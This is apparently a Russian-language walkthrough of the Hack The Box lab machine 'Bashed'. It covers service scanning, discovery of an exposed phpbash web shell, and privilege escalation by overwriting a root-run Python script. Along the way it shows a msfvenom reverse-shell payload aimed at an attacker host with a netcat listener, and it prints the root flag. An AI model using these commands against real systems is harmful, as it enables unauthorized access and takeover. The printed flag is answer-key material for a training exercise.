Обзор сервисов

Машине присвоен IP-адрес 10.10.10.68, проведем стандартное сканирование с помощью nmap:

$ nmap -sV -sC -Pn -oN 10.10.10.68 10.10.10.68
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

С помощью gobuster обнаруживаем каталог /dev:

$ gobuster dir -u http://10.10.10.68 -w /opt/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php -t 20
...
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
...

Alt text

В этом каталоге обнаруживаем файлы phpbash.php.

Alt text

Флаг пользователя

Alt text

Повышение привилегий

Проверим, что можно делать с помощью sudo.

$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

Мы можем запускать sudo от пользователя scriptmanager без пароля.

$ sudo -u scriptmanager ls /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Oct 2 09:47 test.txt
$ sudo -u scriptmanager -i

Мы можем редактировать файл /scripts/test.py. Сгенерируем реверс-шелл, запустим слушателя и подождем.

msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.7 LPORT=1235 -f raw | base64 -w 0
rlwrap nc -lnvp 1235

Нужно скопировать из файла shell.py шеллкод между двойными кавычками и вставить его в /scripts/test.py:

echo "shellcode" | sudo -u scriptmanager tee /scripts/test.py

После чего подождать и поймать подключение.

Флаг суперпользователя

$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:42:f7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:42f7/64 scope global mngtmpaddr dynamic
       valid_lft 86391sec preferred_lft 14391sec
    inet6 fe80::250:56ff:feb9:42f7/64 scope link
       valid_lft forever preferred_lft forever
$ cat root.txt
cc4f0afe3a1026d402ba10329674a8e2